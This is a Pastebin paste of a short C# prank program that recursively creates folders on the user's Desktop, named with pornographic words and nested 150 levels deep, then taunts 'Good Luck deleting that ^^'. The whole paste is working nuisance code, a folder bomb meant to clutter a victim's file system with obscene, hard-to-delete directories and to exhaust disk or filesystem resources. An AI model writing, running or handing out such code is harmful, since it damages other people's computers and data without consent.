Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.IO;
- namespace lel
- {
- enum FolderName { xxx, porn, hardcore, anal }; //Dictionary of folder names, change as you wish
- class Program
- {
- static void Main(string[] args)
- {
- int N = 150; //the program will create number_of_elements_in_enum^N folders
- string startPath = Path.Combine(Environment.GetEnvironmentVariable("userprofile") , "Desktop");
- Console.WriteLine("Wait...");
- Make(startPath, N);
- Console.WriteLine("OK! Done!\nGood Luck deleting that ^^");
- Console.ReadKey();
- }
- public static void Make(string _dir,int n)
- {
- if (n==0)
- {
- return;
- }
- foreach (FolderName name in Enum.GetValues(typeof(FolderName))) //Cycle for each element in the enum
- {
- Directory.CreateDirectory(Path.Combine(_dir, Convert.ToString(name)));
- Make(Path.Combine(_dir, Convert.ToString(name)), n-1);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment